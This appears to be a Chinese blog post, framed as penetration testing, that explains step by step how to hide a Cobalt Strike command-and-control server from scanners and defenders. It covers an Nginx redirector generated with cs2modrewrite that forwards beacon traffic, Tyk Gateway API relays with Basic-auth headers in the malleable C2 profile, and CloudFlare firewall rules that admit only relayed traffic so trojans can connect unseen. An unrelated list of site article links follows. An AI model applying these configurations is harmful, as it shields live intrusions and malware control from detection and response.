当前位置: 首页 > news >正文

渗透测试-伪装隐藏与清理痕迹手段

伪装隐藏与清理技术总结

  • 利用Nginx、Tyk Gateway API和CloudFlare防火墙隐藏C2设施
    • 自定义配置Nginx文件
    • 效果
    • 配置Tyk Gateway API
    • 创建并配置API
    • 设置访问验证策略
    • 配置访问验证Key
    • 配置C2配置文件
    • 效果
    • 配置CloudFlare防火墙
    • 最终效果
    • 问题

利用Nginx、Tyk Gateway API和CloudFlare防火墙隐藏C2设施

  • Cobalt Strike的特征 被各大安全厂商标记
  • 搜索引擎、空间测绘的扫描

配置C2域名
如果不做好基础设施的隐匿,很快会出现下图的情况。
在这里插入图片描述
隐藏C2的手法:

  1. 域前置-许多CDN厂商都已经禁用了域前置技术
  2. 利用云函数隐藏-云函数是有免费额度
    (许多蓝队反制帖子已经开始分享消耗云函数额度的方法)
  3. 利用Tyk Gateway API隐藏C2流量
    通过配置Tyk Gateway API转发恶意流量
    达到类似于域前置,或者腾讯云函数隐藏C2的效果。
  4. 通过将域名托管到CloudFlare
    配置Nginx过滤不符合规则的请求
    并通过配置CloudFlare防火墙只允许Tyk Gateway API的流量访问C2域名,可以达到隐藏C2域名,
    并且防止搜索引擎、空间测绘扫描.和识别Cobalt Strike特征导致域名或IP被标记。

本文基于已经将域名托管到CloudFlare并配置SSL证书的情况.

自定义配置Nginx文件

将域名托管到CloudFlare,可以配置Nginx反向代理来过滤部分请求,只让信标流量转发进服务器。

配置Nginx文件可以使用cs2modrewrite进行生成,然后根据需求进行修改。
https://github.com/threatexpress/cs2modrewrite

以使用jquery-c2.4.5.profile作为C2配置文件的情况示例:
https://github.com/threatexpress/malleable-c2

python3 ./cs2nginx.py -i jquery-c2.4.5.profile -c https://127.0.0.1:8443 -r http://www.baidu.com/ -H yourc2.domain > ./nginx.conf


-i:指定C2配置文件
-c:指定内部的监听端口
-r:指定302跳转的地址
-H:指定你的域名

通过该工具生成的Nginx配置文件的server块的部分配置如下:

 server {
        set $C2_SERVER https://127.0.0.1:8443;
        set $REDIRECT_DOMAIN http://www.baidu.com/;
        server_name yourc2.domain;
        ......

        listen 80;
        listen [::]:80;

        listen 443 ssl;
        listen [::]:443 ssl;
        ......

        location ~ ^(/jquery-3.3.2.slim.min.js.*|/jquery-3.3.1.min.js.*|/jquery-3.3.1.slim.min.js.*|/jquery-3.3.2.min.js.*)$ {if ( $http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko")
          {
            return 404;
          }
            proxy_pass          $C2_SERVER;
        ......
        }
        location @redirect {
                return 302 $REDIRECT_DOMAIN$request_uri;
        }

        }

使用Nginx加载该配置文件后。
Nginx将监听外部的80、443端口,并将符合规则的请求转发到内部的8443端口,不符合规则的请求将跳转到http://www.baidu.com/。

效果

此时通过对服务器IP地址的扫描就无法获取到我们的beacon stage了。
在这里插入图片描述
beacon指的是受害者与我们的teamserver所建立的这个连接,也可以理解成我们所获的的对方主机的控制权。
stager是生成的可执行文件。
stage是无阶段的stager,可以直接理解成,
stage是stager与它所请求的数据的集合体。stage比stager更安全,但是体积更大。
而且在内网穿透的时候基本只能用stage,用stager会十分麻烦,stager是分段传输payload的,使用stager有时候会导致目标无法上线。
stage唯一的缺点是提起相比较而言比较大。

配置Tyk Gateway API

注册账户
https://account.cloud-ara.tyk.io/signup
访问注册地址,填写用户名、邮箱、密码等信息后点击注册,注册成功后选择免费版。在这里插入图片描述

然后设置组织名称,设置好后会提示Deployment successful。

创建并配置API

点击Manage APIs后会看到如下页面:
在这里插入图片描述
接下来逐一创建并配置
http-get API、
http-post API、
Stager-x86 API、
Stager-x64 API。

以下以http-get API为例。

假设你的域名为cslabtest.live,且C2配置文件如下:

 http-get {

    set uri "/api/v2/login";
   ....
}

http-post {

    set uri "/api/v2/status";
   ....
}
http-stager {
    set uri_x86 "/api/v2/GetProfilePicture";
    set uri_x64 "/api/v2/GetAttachment";
}

点击Design new API并填写API信息。
在这里插入图片描述
创建好后进一步配置API,来让它能够将请求转发到我们的C2服务器。
现在我们需要更改Listen path和Target URL,
TYK会监听Listen path的地址,并将请求转发到Target URL。

(注:若C2配置文件为jquery-c2.4.5.profile,则将Listen path和Target URL的路径配置为相对应的.js的路径)

在这里插入图片描述
为了能够上线CS,还要配置Rate Limiting and Quotas。都选择disable即可。
在这里插入图片描述
然后来到Advanced Options,取消勾选Enable caching。
在这里插入图片描述
按这个步骤逐一新建http-get API、http-post API、Stager-x86 API、Stager-x64 API。

设置访问验证策略

将上一步新建的API的Authentication更改为Basic Authentication,如下所示:

在这里插入图片描述
然后来到Policies新建策略,选择你新建的四个API。

在这里插入图片描述

然后点击Global Limits and Quota,确认禁用Rate Limiting。

在这里插入图片描述
接着配置策略名称并设置密钥过期时间。
在这里插入图片描述

点击Create Policy以保存新策略,之后可以在Policies看到它:

在这里插入图片描述

配置访问验证Key

来到Keys,点击ADD KEY,
然后在Apply policy选择我们之前创建的策略,并选择API。

最后来到Authentication输入需要设置的用户名、密码,
这里使用test:testtesttest作为用户名、密码。

在这里插入图片描述
Key创建成功后会有如下提示:
在这里插入图片描述

配置C2配置文件

由于上一步我们设置了访问验证,
所以要在C2配置文件中添加一个请求头才能正常上线CS。

Authorization的请求头设置格式如下:

Authorization: Basic base64(username:password)

所以按上一步添加的Key,我们要在C2配置文件中添加如下请求头:

Authorization: Basic dGVzdDp0ZXN0dGVzdHRlc3Q=

最终配置文件如下:

http-get {

    set uri "/api/v2/login";

    client {
        header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q=";
}
   ....
}

http-post {

    set uri "/api/v2/status";

    client {
        header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q=";
}
   ....
}
http-stager {
    set uri_x86 "/api/v2/GetProfilePicture";
    set uri_x64 "/api/v2/GetAttachment";

    client {
        header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q=";
}
    ....
}


效果

此时直接访问我们设置的API的地址都是需要验证的,而CS是可以正常上线的。
在这里插入图片描述

配置CloudFlare防火墙

获得tyk.io特征
在CF的WAF中创建一条防火墙规则,如下:

在这里插入图片描述
然后生成一个木马尝试上线CS,这时肯定是无法上线的,来到CF的概述中可以看到所有拦截记录,
点击单条拦截记录查看详细。

在这里插入图片描述
这里有很多的特征可以加到WAF拦截规则中,
来实现只有Tyk Gateway API转发过来的流量才能允许访问,其他的流量都会阻止。

编辑防火墙规则
这里我以ASN为例子,配置如下:

在这里插入图片描述
保存防火墙规则即可。

最终效果

对服务器的扫描,无法获取到我们的beacon stage。
在这里插入图片描述
直接访问设置的Tyk Gateway API的地址是需要验证的。
在这里插入图片描述
直接访问我们的C2域名会被CloudFlare拦截。
在这里插入图片描述
CS创建监听器,如下:
在这里插入图片描述

CS生成木马,可以正常上线和执行命令。

在这里插入图片描述

问题

由于流量经过多次转发,上线可能会有延迟。

通过配置Tyk Gateway API的域名,使用HTTPS的方式上线,
流量中会出现*.tyk.io的DNS流量记录,算是一个比较明显的特征。

在这里插入图片描述

相关文章:

  • imac起死回生,在2011年中的imac 27上安装windows10
  • 水果店圈子:第一次做水果店生意好做吗,冬天水果店生意好做吗
  • Python中inplace参数
  • 基于springboot的房屋租赁系统
  • map和sort 集合A-B
  • talcheck-looper(循环代码结构分析工具)
  • 项目经理的工作类型
  • sdut-Collection(Map)-1 读中国载人航天史,汇航天员数量,向航天员致敬
  • 【JVM笔记】加载与存储字节码指令
  • springboot社区再生资源上门回收平台毕业设计-附源码072049
  • React Router v6中的更新
  • xacro搭建ros仿真机器人(待更新)
  • Visual Studio C++ Hello World
  • 线程安全问题和多线程安全经典案例
  • IDEA2020创建JavaWeb项目并配置tomcat
  • angular2 简述
  • ECMAScript6(0):ES6简明参考手册
  • ECMAScript入门(七)--Module语法
  • es6(二):字符串的扩展
  • Flannel解读
  • Fundebug计费标准解释:事件数是如何定义的?
  • Js实现点击查看全文(类似今日头条、知乎日报效果)
  • SegmentFault 2015 Top Rank
  • Spring声明式事务管理之一:五大属性分析
  • Spring思维导图,让Spring不再难懂(mvc篇)
  • Vultr 教程目录
  • windows下mongoDB的环境配置
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 京东美团研发面经
  • 排序(1):冒泡排序
  • 前端路由实现-history
  • 深度学习入门:10门免费线上课程推荐
  • 使用 QuickBI 搭建酷炫可视化分析
  •  一套莫尔斯电报听写、翻译系统
  • 怎么把视频里的音乐提取出来
  • 怎样选择前端框架
  • Java总结 - String - 这篇请使劲喷我
  • ​HTTP与HTTPS:网络通信的安全卫士
  • ​io --- 处理流的核心工具​
  • ​linux启动进程的方式
  • ​二进制运算符:(与运算)、|(或运算)、~(取反运算)、^(异或运算)、位移运算符​
  • #HarmonyOS:Web组件的使用
  • #pragma pack(1)
  • $.ajax()参数及用法
  • (10)STL算法之搜索(二) 二分查找
  • (16)UiBot:智能化软件机器人(以头歌抓取课程数据为例)
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (done) 两个矩阵 “相似” 是什么意思?
  • (二)hibernate配置管理
  • (翻译)Entity Framework技巧系列之七 - Tip 26 – 28
  • (论文阅读23/100)Hierarchical Convolutional Features for Visual Tracking
  • (七)Java对象在Hibernate持久化层的状态
  • (收藏)Git和Repo扫盲——如何取得Android源代码
  • (转载)跟我一起学习VIM - The Life Changing Editor
  • .NET LINQ 通常分 Syntax Query 和Syntax Method